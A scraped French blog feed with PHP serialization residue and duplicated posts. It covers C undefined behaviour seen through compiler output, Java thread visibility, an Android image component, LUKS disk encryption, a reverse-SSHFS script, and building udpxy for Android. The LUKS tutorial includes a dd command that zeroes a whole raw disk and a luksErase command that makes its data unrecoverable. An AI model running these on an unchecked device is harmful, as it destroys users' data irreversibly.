gcc -O2 -S undefined.cOu, plus précisément (avec gcc 4.9.1 par exemple, l’option -O2 ne suffit
pas) :
gcc -O -ftree-vrp -fdelete-null-pointer-checks -S undefined.c(les options d’optimisation sont décrites dans la doc).
.file "undefined.c"
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "pwnd %d\n"
.section .text.startup,"ax",@progbits
.p2align 4,,15
.globl main
.type main, @function
main:
.LFB11:
.cfi_startproc
subq $8, %rsp
.cfi_def_cfa_offset 16
movl $42, %esi ; arg1 = 42
movl $.LC0, %edi ; arg2 points to "pwnd %d\n"
xorl %eax, %eax
call printf ; printf("pwnd %d\n", 42)
xorl %eax, %eax ; ret = 0
addq $8, %rsp
.cfi_def_cfa_offset 8
ret ; return ret
.cfi_endproc
.LFE11:
.size main, .-main
.ident "GCC: (Debian 4.7.2-5) 4.7.2"
.section .note.GNU-stack,"",@progbitsLà, l’optimisation donne un résultat beaucoup plus direct :
#include <stdio.h>
int main() {
printf("pwnd %d\n", 42);
return 0;
}Quel raisonnement a-t-il pu suivre pour obtenir ce résultat ? Par exemple le suivant.
Lorsqu’il rencontre la ligne 6 de undefined.c, soit i est NULL, soit i
n’est pas NULL. Le compilateur sait que déréférencer un pointeur NULL est
indéfini. Il n’a donc pas à gérer ce cas. Il considère donc que i est
forcément non-NULL.
Mais alors, à quoi bon tester si i est non-NULL ligne 7 ? Le test ne sert à
rien. Donc il le supprime.
Ce raisonnement permet de transformer le code ainsi :
#include <stdio.h>
#include <malloc.h>
int main(int argc, char *argv[]) {
int *i = argc == 1 ? NULL : malloc(sizeof(int));
*i = 42;
printf("pwnd %d\n", *i);
return 0;
}Mais ce n’est pas tout. Le compilateur sait que i n’est pas NULL, donc il
peut considérer que le malloc a lieu. Et allouer un entier en mémoire, écrire
42 dedans, puis lire la valeur cet entier plus tard, ça se simplifie
beaucoup : juste lire 42, sans allouer de mémoire.
Ce qu’il simplifie en :
printf("pwnd %d\n", 42);CQFD.
clang -02Il est intéressant d’observer ce que produit un autre compilateur : Clang.
clang -O2 -S undefined.cVoici le résultat :
.file "undefined.c"
.text
.globl main
.align 16, 0x90
.type main,@function
main: # @main
.Ltmp2:
.cfi_startproc
# BB#0:
pushq %rbp
.Ltmp3:
.cfi_def_cfa_offset 16
.Ltmp4:
.cfi_offset %rbp, -16
movq %rsp, %rbp
.Ltmp5:
.cfi_def_cfa_register %rbp
cmpl $1, %edi ; if (argc == 1)
je .LBB0_4 ; goto .LBB0_4
# BB#1:
movl $4, %edi ; arg0 = 4 //sizeof(int)
callq malloc ; tmp = malloc(4)
movq %rax, %rcx ; i = tmp
movl $42, (%rcx) ; *i = 42
movl $1, %eax ; ret = 1
testq %rcx, %rcx ; if (!i)
je .LBB0_3 ; goto .LBB0_3
# BB#2:
movl $.L.str, %edi ; arg0 points to "pwnd %d\n"
movl $42, %esi ; arg1 = 42
xorb %al, %al
callq printf ; printf("pwnd %d\n", *i)
xorl %eax, %eax ; ret = 0
.LBB0_3:
popq %rbp
ret ; return ret
.LBB0_4: # %.thread
ud2 ; undefined instruction
.Ltmp6:
.size main, .Ltmp6-main
.Ltmp7:
.cfi_endproc
.Leh_func_end0:
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "pwnd %d\n"
.size .L.str, 9
.section ".note.GNU-stack","",@progbitsIl réalise les mêmes optimisations que gcc -O, sauf qu’il génère une erreur
explicite grâce à l’instruction machine
ud2.
#include <stdio.h>
#include <malloc.h>
int main(int argc, char *argv[]) {
if (argc == 1)
ud2(); /* hardware undefined instruction */
int *i = malloc(sizeof(int));
*i = 42;
if (!i)
return 1;
printf("pwnd %d\n", 42);
return 0;
}Étonnamment, Clang ne prend jamais la décision de supprimer le malloc.
Par contre, avec une version suffisamment récente (ça marche avec Clang 3.5.0), il est possible d’ajouter des vérifications lors de l’exécution :
$ clang -fsanitize=null undefined.c && ./a.out
undefined.c:6:5: runtime error: store to null pointer of type 'int'
Erreur de segmentation
Ça peut être pratique pour détecter des problèmes. Et puis des
NullPointerExceptions en C, ça fait rêver, non ?
Si un programme contient un comportement indéfini, alors son comportement est indéfini. Pas juste la ligne en question. Pas juste les lignes qui suivent la ligne en question. Le programme. Même s’il fonctionne maintenant sur votre machine avec votre version de compilateur.
Somebody once told me that in basketball you can’t hold the ball and run. I got a basketball and tried it and it worked just fine. He obviously didn’t understand basketball.
(source)
Pour aller plus loin et étudier d’autres exemples, je vous recommande la lecture des articles suivants (en anglais) :
Les comportements indéfinis font partie intégrante du C et du C++. Mais même dans des langages de plus haut niveau, il existe des comportements indéfinis (pas de même nature, je vous l’accorde), notamment lorsque plusieurs threads s’exécutent en parallèle.
Pour garantir certains comportements, il faut utiliser des mécanismes de synchronisation. Dans une vie antérieure, j’avais présenté certains de ces mécanismes en Java.
Mais une erreur courante est de penser que la synchronisation ne fait que garantir l’atomicité avec des sections critiques. En réalité, c’est plus complexe que cela. D’une part, elle ajoute des barrières mémoire empêchant certaines réorganisations des instructions (ce qui explique pourquoi le double-checked locking pour écrire des singletons est faux). D’autre part, elle permet de synchroniser les caches locaux des threads, sans quoi l’exemple suivant (inspiré d’ici) est incorrect :
public class VisibilityTest extends Thread {
boolean keepRunning = true;
public static void main(String... args) throws Exception {
VisibilityTest thread = new VisibilityTest();
thread.start();
Thread.sleep(1000);
thread.keepRunning = false;
System.out.println(System.currentTimeMillis() +
": keepRunning false");
}
@Override
public void run() {
System.out.println(System.currentTimeMillis() + ": start");
while (keepRunning);
System.out.println(System.currentTimeMillis() + ": end");
}
}Pour le compiler et l’exécuter :
javac VisibilityTest.java && java VisibilityTestSans synchronisation, il est très fort probable que le thread démarré ne se
termine jamais, voyant toujours keepRunning à true, même si le thread
principal lui a donné la valeur false.
Là encore, c’est une optimisation (la mise en cache d’une variable) qui provoque ce comportement “inattendu” sans synchronisation.
Déclarer keepRunning volatile suffit à résoudre le problème.
La notion de comportement indéfini est très importante pour améliorer la performance des programmes. Mais elle est source de bugs parfois difficiles à
Erreur de segmentation
Pour afficher une image sur Android, le SDK contient un composant ImageView.
Cependant, son mécanisme de configuration du redimensionnement de l’image (ScaleType) me semble déficient :
J’ai donc écrit un composant AImageView (qui hérite d’ImageView) avec un mécanisme alternatif au scale type.
AImageView propose 4 paramètres :
xWeight et yWeight (des floats entre 0 et 1) indiquent à quel endroit lier l’image au conteneurs ;fit indique si l’image doit s’adapter à l’intérieur du composant (en ajoutant des marges), à l’extérieur du composant (en croppant), toujours horizontalement ou toujours verticalement.scale indique si l’on accepte de downscaler (réduire) et/ou d’upscaler (agrandir) l’image ;Actuellement, il préserve toujours le format d’image (aspect ratio).
<com.rom1v.aimageview.AImageView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:src="@drawable/myimage"
app:xWeight="0.5"
app:yWeight="0.5"
app:fit="inside"
app:scale="downscale|upscale" />
Ici, l’image va s’adapter à l’intérieur (inside) du composant (des marges seront ajoutées si nécessaires), exactement (l’image peut être réduite – downscale – ou agrandie – upscale – pour s’adapter) et sera centrée (0.5, 0.5).
Les constantes de ScaleType du composant standard ImageView correspondent en fait à des valeurs particulières de ces paramètres. Comme vous pourrez le constater, elles ne couvrent pas toutes les combinaisons, et ne sont pas toujours explicites…
ScaleType.CENTER app:xWeight="0.5"
app:yWeight="0.5"
app:scale="disabled"
// app:fit ne fait rien quand scale vaut "disabled"
ScaleType.CENTER_CROP app:xWeight="0.5"
app:yWeight="0.5"
app:fit="outside"
app:scale="downscale|upscale"
ScaleType.CENTER_INSIDE app:xWeight="0.5"
app:yWeight="0.5"
app:fit="inside"
app:scale="downscale"
ScaleType.FIT_CENTER app:xWeight="0.5"
app:yWeight="0.5"
app:fit="inside"
app:scale="downscale|upscale"
ScaleType.FIT_END app:xWeight="1"
app:yWeight="1"
app:fit="inside"
app:scale="downscale|upscale"
ScaleType.FIT_START app:xWeight="0"
app:yWeight="0"
app:fit="inside"
app:scale="downscale|upscale"
ScaleType.FIT_XYCette configuration ne peut pas être reproduite en utilisant les paramètres d’AImageView, car ce composant préserve toujours l’aspect ratio.
ScaleType.MATRIXAImageView hérite d’ImageView et force le scaleType à ScaleType.MATRIX (pour redimensionner et déplacer l’image). Par conséquent, il n’y a pas d’équivalent, AImageView est basé dessus.
Le composant est disponible sous la forme d’un project library (sous licence GNU/LGPLv3 (plus maintenant) MIT):
git clone http://git.rom1v.com/AImageView.git
(miroir sur github)
Vous pouvez le compiler en fichier `.aar` grâce à la commande :
cd AImageView
./gradlew assembleRelease
Il sera généré dans library/build/outputs/aar/aimageview.aar.
J’ai aussi écrit une application de démo l’utilisant (avec tous les fichiers Gradle qui-vont-bien) :
git clone --recursive http://git.rom1v.com/AImageViewSample.git
(miroir sur github)
Pour compiler un apk de debug (par exemple) :
cd AImageViewSample
./gradlew assembleDebug
Pour ceux que le code intéresse, la classe principale est AImageView. Pour l’utiliser, la partie importante est dans activity_main.xml.
N’hésitez pas à critiquer ou à remonter des bugs.
";s:7:"dateiso";s:15:"20141020_204834";}s:15:"20141020_184834";a:7:{s:5:"title";s:30:"AImageView (composant Android)";s:4:"link";s:60:"https://blog.rom1v.com/2014/10/aimageview-composant-android/";s:4:"guid";s:59:"https://blog.rom1v.com/2014/10/aimageview-composant-android";s:7:"pubDate";s:25:"2014-10-20T18:48:34+02:00";s:11:"description";s:0:"";s:7:"content";s:10193:"Pour afficher une image sur Android, le SDK contient un composant
ImageView.
Cependant, son mécanisme de configuration du redimensionnement de l’image
(ScaleType) me semble déficient :
J’ai donc écrit un composant AImageView (qui hérite d’ImageView) avec un
mécanisme alternatif au scale type.
AImageView propose 4 paramètres :
xWeight et yWeight (des floats entre 0 et 1) indiquent à quel
endroit lier l’image au conteneur ;fit indique si l’image doit s’adapter à l’intérieur du composant (en
ajoutant des marges), à l’extérieur du composant (en croppant), toujours
horizontalement ou toujours verticalement.scale indique si l’on accepte de downscaler (réduire) et/ou d’upscaler
(agrandir) l’image ;Actuellement, il préserve toujours le format d’image (aspect ratio).
<com.rom1v.aimageview.AImageView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:src="@drawable/myimage"
app:xWeight="0.5"
app:yWeight="0.5"
app:fit="inside"
app:scale="downscale|upscale" />Ici, l’image va s’adapter à l’intérieur (inside) du composant (des marges
seront ajoutées si nécessaires), exactement (l’image peut être réduite
– downscale – ou agrandie – upscale – pour s’adapter) et sera centrée
(0.5, 0.5).
Les constantes de ScaleType du composant standard ImageView
correspondent en fait à des valeurs particulières de ces paramètres. Comme vous
pourrez le constater, elles ne couvrent pas toutes les combinaisons, et ne sont
pas toujours explicites…
ScaleType.CENTER<com.rom1v.aimageview.AImageView
app:xWeight="0.5"
app:yWeight="0.5"
app:scale="disabled" />
<!-- app:fit ne fait rien quand scale vaut "disabled" -->ScaleType.CENTER_CROP<com.rom1v.aimageview.AImageView
app:xWeight="0.5"
app:yWeight="0.5"
app:fit="outside"
app:scale="downscale|upscale" />ScaleType.CENTER_INSIDE<com.rom1v.aimageview.AImageView
app:xWeight="0.5"
app:yWeight="0.5"
app:fit="inside"
app:scale="downscale" />ScaleType.FIT_CENTER<com.rom1v.aimageview.AImageView
app:xWeight="0.5"
app:yWeight="0.5"
app:fit="inside"
app:scale="downscale|upscale" />ScaleType.FIT_END<com.rom1v.aimageview.AImageView
app:xWeight="1"
app:yWeight="1"
app:fit="inside"
app:scale="downscale|upscale" />ScaleType.FIT_START<com.rom1v.aimageview.AImageView
app:xWeight="0"
app:yWeight="0"
app:fit="inside"
app:scale="downscale|upscale" />ScaleType.FIT_XYCette configuration ne peut pas être reproduite en utilisant les paramètres
d’AImageView, car ce composant préserve toujours l’aspect ratio.
ScaleType.MATRIXAImageView hérite d’ImageView et force le scaleType à ScaleType.MATRIX
(pour redimensionner et déplacer l’image). Par conséquent, il n’y a pas
d’équivalent, AImageView est basé dessus.
Le composant est disponible sous la forme d’un project library (sous licence
GNU/LGPLv3 (plus maintenant) MIT):
git clone http://git.rom1v.com/AImageView.git(miroir sur github)
Vous pouvez le compiler en fichier .aar grâce à la commande :
cd AImageView
./gradlew assembleReleaseIl sera généré dans library/build/outputs/aar/aimageview.aar.
J’ai aussi écrit une application de démo l’utilisant (avec tous les fichiers Gradle qui-vont-bien) :
git clone --recursive http://git.rom1v.com/AImageViewSample.git(miroir sur github)

Pour compiler un apk de debug (par exemple) :
cd AImageViewSample
./gradlew assembleDebugPour ceux que le code intéresse, la classe principale est
AImageView. Pour l’utiliser, la partie importante est dans
activity_main.xml.
N’hésitez pas à critiquer ou à remonter des bugs.
";s:7:"dateiso";s:15:"20141020_184834";}s:15:"20140720_230333";a:7:{s:5:"title";s:58:"Chiffrer un disque dur externe (ou une clé USB) avec LUKS";s:4:"link";s:86:"http://blog.rom1v.com/2014/07/chiffrer-un-disque-dur-externe-ou-une-cle-usb-avec-luks/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4826";s:7:"pubDate";s:31:"Sun, 20 Jul 2014 21:03:33 +0000";s:11:"description";s:396:"Un disque dur externe contenant vos données n’a pas de raisons de ne pas être chiffré. Voici quelques commandes utiles pour l’utilisation de LUKS. Prérequis Le paquet cryptsetup doit être installé : sudo apt-get install cryptsetup Initialisation Trouver le disque Tout d’abord, il faut déterminer l’emplacement du disque dur dans /dev. Pour cela, avant de […]";s:7:"content";s:8741:"
Un disque dur externe contenant vos données n’a pas de raisons de ne pas être chiffré. Voici quelques commandes utiles pour l’utilisation de LUKS.
Le paquet cryptsetup doit être installé :
sudo apt-get install cryptsetup
Tout d’abord, il faut déterminer l’emplacement du disque dur dans /dev. Pour cela, avant de le brancher, exécuter la commande :
sudo tail -f /var/log/messages
Lors du branchement du disque, plusieurs lignes similaires à celles-ci doivent apparaître :
Jul 20 21:25:29 pc kernel: [ 678.139988] sd 7:0:0:0: [sdb] 976754645 4096-byte logical blocks: (4.00 TB/3.63 TiB)
Ici, [sdb] signifie que l’emplacement est /dev/sdb. Dans la suite, je noterai cet emplacement /dev/XXX.
Il est très important de ne pas se tromper d’emplacement, afin de ne pas formater un autre disque…
Si des données étaient présentes sur ce disque, il est plus sûr de tout supprimer physiquement :
sudo dd if=/dev/zero of=/dev/XXX bs=4K
Cette commande peut prendre beaucoup de temps, puisqu’elle consiste à réécrire physiquement tous les octets du disque dur.
Pour initialiser la partition chiffrée :
sudo cryptsetup luksFormat -h sha256 /dev/XXX
La passphrase de déchiffrement sera demandée.
Maintenant que nous avons une partition chiffrée, ouvrons-la :
sudo cryptsetup luksOpen /dev/XXX lenomquevousvoulez
Cette commande crée un nouveau device dans /dev/mapper/lenomquevousvoulez, contenant la version déchiffrée (en direct).
Pour formater cette partition en ext4 :
sudo mkfs.ext4 /dev/mapper/lenomquevousvoulez
Pour l’initialisation, c’est fini, nous pouvons fermer la vue déchiffrée :
cryptsetup luksClose lenomquevousvoulez
Il est possible de déchiffrer et monter la partition manuellement en ligne de commande :
sudo cryptsetup luksOpen /dev/XXX lenomquevousvoulez
sudo mkdir -p /media/mydisk
sudo mount -t ext4 /dev/mapper/lenomquevousvoulez /media/mydisk
Le contenu est alors accessible dans /media/mydisk.
Pour démonter et fermer, c’est le contraire :
sudo umount /media/mydisk
sudo cryptsetup luksClose /dev/XXX lenomquevousvoulez
Mais c’est un peu fastidieux. Et je n’ai pas trouvé de solution pour permettre le luksOpen par un utilisateur (non-root) en ligne de commande.
Les environnement de bureau permettent parfois de monter un disque dur chiffré simplement, avec la demande de la passphrase lors de l’ouverture du disque. Voici ce que j’obtiens avec XFCE :

Mais par défaut, le nom du point de montage est peu pratique : /media/rom/ae74bc79-9efe-4325-8b4d-63d1506fa928. Heureusement, il est possible de le changer. Pour cela, il faut déterminer le nom de la partition déchiffrée :
$ ls /dev/mapper/luks-*
/dev/mapper/luks-8b927433-4d4f-4636-8a76-06d18c09723e
Le nom très long correspond en fait à l’UUID du disque, qui peut aussi être récupéré grâce à :
sudo cryptsetup luksUUID /dev/XXX
ou encore :
sudo blkid /dev/XXX
L’emplacement désiré, ainsi que les options qui-vont-bien, doivent être rajoutés dans /etc/fstab :
/dev/mapper/luks-8b927433-4d4f-4636-8a76-06d18c09723e /media/mydisk ext4 user,noauto
Ainsi, le disque sera désormais monté dans /media/mydisk.
Si en plus, nous souhaitons spécifier un nom user-friendly pour la partition déchiffrée (celui dans /dev/mapper/), il faut ajouter une ligne dans /etc/crypttab (en adaptant l’UUID) :
mydisk UUID=8b927433-4d4f-4636-8a76-06d18c09723e none luks,noauto
Et utiliser celle-ci à la place dans /etc/fstab :
/dev/mapper/mydisk /media/mydisk ext4 user,noauto
Il est possible d’utiliser plusieurs passphrases (jusqu’à 8) pour déchiffrer le même disque.
Pour en ajouter une :
sudo cryptsetup luksAddKey /dev/XXX
Pour en supprimer une :
sudo cryptsetup luksRemoveKey /dev/XXX
Pour changer une unique passphrase, il suffit d’en ajouter une nouvelle puis de supprimer l’ancienne.
Ou alors d’utiliser :
sudo cryptsetup luksChangeKey /dev/XXX
mais man cryptsetup dit qu’il y a un risque.
Pour consulter l’état d’une partition LUKS :
sudo cryptsetup luksDump /dev/XXX
L’en-tête LUKS est écrit au début du disque. L’écraser empêche définivement le déchiffrement de la partition.
Il est possible d’en faire une sauvegarde dans un fichier :
cryptsetup luksHeaderBackup /dev/XXX --header-backup-file fichier
Et de les restaurer :
cryptsetup luksHeaderRestore /dev/XXX --header-backup-file fichier
Pour supprimer l’en-tête (et donc rendre les données définitivement inaccessibles s’il n’y a pas de backup) :
cryptsetup luksErase /dev/XXX
Une fois configuré la première fois, et après les quelques modifications pénibles pour choisir les noms pour le déchiffrement et le montage, l’utilisation au quotidien est vraiment très simple : il suffit de rentrer la passphrase directement à partir du navigateur de fichiers.
";s:7:"dateiso";s:15:"20140720_230333";}s:15:"20140720_210333";a:7:{s:5:"title";s:58:"Chiffrer un disque dur externe (ou une clé USB) avec LUKS";s:4:"link";s:86:"http://blog.rom1v.com/2014/07/chiffrer-un-disque-dur-externe-ou-une-cle-usb-avec-luks/";s:4:"guid";s:85:"http://blog.rom1v.com/2014/07/chiffrer-un-disque-dur-externe-ou-une-cle-usb-avec-luks";s:7:"pubDate";s:25:"2014-07-20T21:03:33+02:00";s:11:"description";s:0:"";s:7:"content";s:8871:"Un disque dur externe contenant vos données n’a pas de raisons de ne pas être chiffré. Voici quelques commandes utiles pour l’utilisation de LUKS.
Le paquet cryptsetup doit être installé :
sudo apt-get install cryptsetupTout d’abord, il faut déterminer l’emplacement du disque dur dans /dev. Pour
cela, avant de le brancher, exécuter la commande :
sudo tail -f /var/log/messagesLors du branchement du disque, plusieurs lignes similaires à celles-ci doivent apparaître :
Jul 20 21:25:29 pc kernel: [ 678.139988] sd 7:0:0:0: [sdb] 976754645 4096-byte logical blocks: (4.00 TB/3.63 TiB)
Ici, [sdb] signifie que l’emplacement est /dev/sdb. Dans la suite, je
noterai cet emplacement /dev/XXX.
Il est très important de ne pas se tromper d’emplacement, afin de ne pas formater un autre disque…
Si des données étaient présentes sur ce disque, il est plus sûr de tout supprimer physiquement :
sudo dd if=/dev/zero of=/dev/XXX bs=4KCette commande peut prendre beaucoup de temps, puisqu’elle consiste à réécrire physiquement tous les octets du disque dur.
Pour initialiser la partition chiffrée :
sudo cryptsetup luksFormat -h sha256 /dev/XXXLa passphrase de déchiffrement sera demandée.
Maintenant que nous avons une partition chiffrée, ouvrons-la :
sudo cryptsetup luksOpen /dev/XXX lenomquevousvoulezCette commande crée un nouveau device dans /dev/mapper/lenomquevousvoulez,
contenant la version déchiffrée (en direct).
Pour formater cette partition en ext4 :
sudo mkfs.ext4 /dev/mapper/lenomquevousvoulezPour l’initialisation, c’est fini, nous pouvons fermer la vue déchiffrée :
cryptsetup luksClose lenomquevousvoulezIl est possible de déchiffrer et monter la partition manuellement en ligne de commande :
sudo cryptsetup luksOpen /dev/XXX lenomquevousvoulez
sudo mkdir -p /media/mydisk
sudo mount -t ext4 /dev/mapper/lenomquevousvoulez /media/mydiskLe contenu est alors accessible dans /media/mydisk.
Pour démonter et fermer, c’est le contraire :
sudo umount /media/mydisk
sudo cryptsetup luksClose /dev/XXX lenomquevousvoulezMais c’est un peu fastidieux. Et je n’ai pas trouvé de solution pour permettre
le luksOpen par un utilisateur (non-root) en ligne de commande.
Les environnement de bureau permettent parfois de monter un disque dur chiffré simplement, avec la demande de la passphrase lors de l’ouverture du disque. Voici ce que j’obtiens avec XFCE :

Mais par défaut, le nom du point de montage est peu pratique : /media/rom/ae74bc79-9efe-4325-8b4d-63d1506fa928. Heureusement, il est possible de le changer. Pour cela, il faut déterminer le nom de la partition déchiffrée :
$ ls /dev/mapper/luks-*
/dev/mapper/luks-8b927433-4d4f-4636-8a76-06d18c09723e
Le nom très long correspond en fait à l’UUID du disque, qui peut aussi être récupéré grâce à :
sudo cryptsetup luksUUID /dev/XXXou encore :
sudo blkid /dev/XXXL’emplacement désiré, ainsi que les options qui-vont-bien, doivent être rajoutés
dans /etc/fstab :
/dev/mapper/luks-8b927433-4d4f-4636-8a76-06d18c09723e /media/mydisk ext4 user,noauto
Ainsi, le disque sera désormais monté dans /media/mydisk.
Si en plus, nous souhaitons spécifier un nom user-friendly pour la partition
déchiffrée (celui dans /dev/mapper/), il faut ajouter une ligne dans
/etc/crypttab (en adaptant l’UUID) :
mydisk UUID=8b927433-4d4f-4636-8a76-06d18c09723e none luks,noauto
Et utiliser celle-ci à la place dans /etc/fstab :
/dev/mapper/mydisk /media/mydisk ext4 user,noauto
Il est possible d’utiliser plusieurs passphrases (jusqu’à 8) pour déchiffrer le même disque.
Pour en ajouter une :
sudo cryptsetup luksAddKey /dev/XXXPour en supprimer une :
sudo cryptsetup luksRemoveKey /dev/XXXPour changer une unique passphrase, il suffit d’en ajouter une nouvelle puis de supprimer l’ancienne.
Ou alors d’utiliser :
sudo cryptsetup luksChangeKey /dev/XXXmais man cryptsetup dit qu’il y a un risque.
Pour consulter l’état d’une partition LUKS :
sudo cryptsetup luksDump /dev/XXXL’en-tête LUKS est écrit au début du disque. L’écraser empêche définivement le déchiffrement de la partition.
Il est possible d’en faire une sauvegarde dans un fichier :
cryptsetup luksHeaderBackup /dev/XXX --header-backup-file fichierEt de les restaurer :
cryptsetup luksHeaderRestore /dev/XXX --header-backup-file fichierPour supprimer l’en-tête (et donc rendre les données définitivement inaccessibles s’il n’y a pas de backup) :
cryptsetup luksErase /dev/XXXUne fois configuré la première fois, et après les quelques modifications pénibles pour choisir les noms pour le déchiffrement et le montage, l’utilisation au quotidien est vraiment très simple : il suffit de rentrer la passphrase directement à partir du navigateur de fichiers.
";s:7:"dateiso";s:15:"20140720_210333";}s:15:"20140615_153027";a:7:{s:5:"title";s:23:"SSHFS inversé (rsshfs)";s:4:"link";s:51:"http://blog.rom1v.com/2014/06/sshfs-inverse-rsshfs/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4798";s:7:"pubDate";s:31:"Sun, 15 Jun 2014 13:30:27 +0000";s:11:"description";s:439:"SSHFS permet de monter un répertoire d’une machine distance dans l’arborescence locale en utilisant SSH : sshfs serveur:/répertoire/distant /répertoire/local Mais comment monter un répertoire local sur une machine distante ? Une solution simple serait de se connecter en SSH sur la machine distante et d’exécuter la commande sshfs classique. Mais d’abord, ce n’est pas toujours directement […]";s:7:"content";s:4818:"SSHFS permet de monter un répertoire d’une machine distance dans l’arborescence locale en utilisant SSH :
sshfs serveur:/répertoire/distant /répertoire/local
Mais comment monter un répertoire local sur une machine distante ?
Une solution simple serait de se connecter en SSH sur la machine distante et d’exécuter la commande sshfs classique.
Mais d’abord, ce n’est pas toujours directement possible : la machine locale peut ne pas être accessible (non adressable) depuis la machine distante. Ça se contourne en créant un tunnel SSH utilisant la redirection de port distante (option -R).
Et surtout, ce n’est pas toujours souhaitable : cela nécessite que la clé privée autorisée sur la machine locale soit connue de la machine distante. Or, dans certains cas, nous ne voulons pas qu’une machine esclave puisse se connecter à notre machine maître.
En me basant sur la commande donnée en exemple, j’ai donc écrit un petit script Bash (rsshfs, licence GPLv3) qui permet le reverse SSHFS :
(disponible également sur github)
git clone http://git.rom1v.com/rsshfs.git
cd rsshfs
sudo install rsshfs /usr/local/bin
Les paquets sshfs et fuse doivent être installés sur la machine distante (et l’utilisateur doit appartenir au groupe fuse). Le paquet openssh-sftp-server doit être installé sur la machine locale ainsi que (plus maintenant).vde2 (pour la commande dpipe)
Son utilisation se veut similaire à celle de sshfs :
rsshfs /répertoire/local serveur:/répertoire/distant
Comme avec sshfs, /répertoire/distant doit exister sur serveur et doit être vide.
Il est également possible de monter le répertoire en lecture seule :
rsshfs /répertoire/local serveur:/répertoire/distant -o ro
Attention. L’option « lecture seule » est demandée à la machine distante, par un paramètre (plus maintenant)sshfs. Par conséquent, une version modifiée de sshfs pourrait ignorer la demande de lecture seule. Vous devez donc faire confiance à la machine distante.
Contrairement à sshfs, étant donné que rsshfs agit comme un serveur, cette commande ne retourne pas tant que le répertoire distant n’est pas démonté.
Pour démonter, dans un autre terminal :
rsshfs -u serveur:/répertoire/distant
Ou plus simplement (depuis le commit 440a357) en pressant Ctrl+C dans le terminal de la commande de montage.
J’ai choisi la facilité en écrivant un script indépendant qui appelle la commande qui-va-bien.
L’idéal serait d’ajouter cette fonctionnalité à sshfs directement.
";s:7:"dateiso";s:15:"20140615_153027";}s:15:"20140615_133027";a:7:{s:5:"title";s:23:"SSHFS inversé (rsshfs)";s:4:"link";s:51:"http://blog.rom1v.com/2014/06/sshfs-inverse-rsshfs/";s:4:"guid";s:50:"http://blog.rom1v.com/2014/06/sshfs-inverse-rsshfs";s:7:"pubDate";s:25:"2014-06-15T13:30:27+02:00";s:11:"description";s:0:"";s:7:"content";s:3513:"SSHFS permet de monter un répertoire d’une machine distance dans l’arborescence locale en utilisant SSH :
sshfs serveur:/répertoire/distant /répertoire/localMais comment monter un répertoire local sur une machine distante ?
Une solution simple serait de se connecter en SSH sur la machine distante et
d’exécuter la commande sshfs classique.
Mais d’abord, ce n’est pas toujours directement possible : la machine locale
peut ne pas être accessible (non adressable) depuis la machine distante. Ça se
contourne en créant un tunnel SSH utilisant la redirection de port distante
(option -R).
Et surtout, ce n’est pas toujours souhaitable : cela nécessite que la clé privée autorisée sur la machine locale soit connue de la machine distante. Or, dans certains cas, nous ne voulons pas qu’une machine esclave puisse se connecter à notre machine maître.
En me basant sur la commande donnée en exemple, j’ai donc écrit un
petit script Bash (rsshfs, licence GPLv3) qui permet le reverse
SSHFS :
(disponible également sur github)
git clone http://git.rom1v.com/rsshfs.git
cd rsshfs
sudo install rsshfs /usr/local/binLes paquets sshfs et fuse doivent être installés sur la machine distante
(et l’utilisateur doit appartenir au groupe fuse). Le paquet
openssh-sftp-server doit être installé sur la machine locale.
Son utilisation se veut similaire à celle de sshfs :
rsshfs /répertoire/local serveur:/répertoire/distantComme avec sshfs, /répertoire/distant doit exister sur serveur et doit
être vide.
Il est également possible de monter le répertoire en lecture seule :
rsshfs /répertoire/local serveur:/répertoire/distant -o roContrairement à sshfs, étant donné que rsshfs agit comme un serveur, cette
commande ne retourne pas tant que le répertoire distant n’est pas démonté.
Pour démonter, dans un autre terminal :
rsshfs -u serveur:/répertoire/distantOu plus simplement en pressant Ctrl+C dans le terminal de la commande de
montage.
J’ai choisi la facilité en écrivant un script indépendant qui appelle la commande qui-va-bien.
L’idéal serait d’ajouter cette fonctionnalité à sshfs directement.
";s:7:"dateiso";s:15:"20140615_133027";}s:15:"20140319_003952";a:7:{s:5:"title";s:36:"Compiler un exécutable pour Android";s:4:"link";s:66:"http://blog.rom1v.com/2014/03/compiler-un-executable-pour-android/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4728";s:7:"pubDate";s:31:"Tue, 18 Mar 2014 23:39:52 +0000";s:11:"description";s:401:"Je vais présenter dans ce billet comment compiler un exécutable ARM pour Android, l’intégrer à un APK et l’utiliser dans une application. À titre d’exemple, nous allons intégrer un programme natif, udpxy, dans une application minimale de lecture vidéo. Contexte Le framework multimédia d’Android ne supporte pas nativement la lecture de flux UDP multicast (1, […]";s:7:"content";s:20493:"Je vais présenter dans ce billet comment compiler un exécutable ARM pour Android, l’intégrer à un APK et l’utiliser dans une application.
À titre d’exemple, nous allons intégrer un programme natif, udpxy, dans une application minimale de lecture vidéo.
Le framework multimédia d’Android ne supporte pas nativement la lecture de flux UDP multicast (1, 2).
Il est possible, pour y parvenir, d’utiliser des lecteurs alternatifs, par exemple basés sur ffmpeg/libav (l’un est un fork de l’autre), tel que libvlc.
Il existe par ailleurs un outil natif, sous licence GPLv3, relayant du trafic UDP multicast vers du HTTP : udpxy. N’importe quel client supportant HTTP (comme le lecteur natif d’Android) peut alors s’y connecter. C’est cet outil que nous allons utiliser ici.
Avant de l’intégrer, comprenons son utilisation en le faisant tourner sur un ordinateur classique (Debian Wheezy 64 bits pour moi).
Il faut d’abord le télécharger les sources, les extraire et compiler :
wget http://www.udpxy.com/download/1_23/udpxy.1.0.23-9-prod.tar.gz
tar xf udpxy.1.0.23-9-prod.tar.gz
cd udpxy-1.0.23-9/
make
Si tout se passe bien, nous obtenons (entre autres) un binaire udpxy.
Pour tester, nous avons besoin d’une source UDP multicast. Ça tombe bien, VLC peut la fournir. Pour obtenir le résultat attendu par udpxy, nous devons diffuser vers une adresse multicast (ici 239.0.0.1). Par exemple, à partir d’un fichier MKV :
cvlc video.mkv ':sout=#udp{dst=239.0.0.1:1234}'
En parallèle, démarrons une instance d’udpxy, que nous venons de compiler :
./udpxy -p 8379
Cette commande va démarrer un proxy relayant de l’UDP multicast vers de l’HTTP, écoutant sur le port 8379.
Dans un autre terminal, nous pouvons faire pointer VLC sur le flux ainsi proxifié :
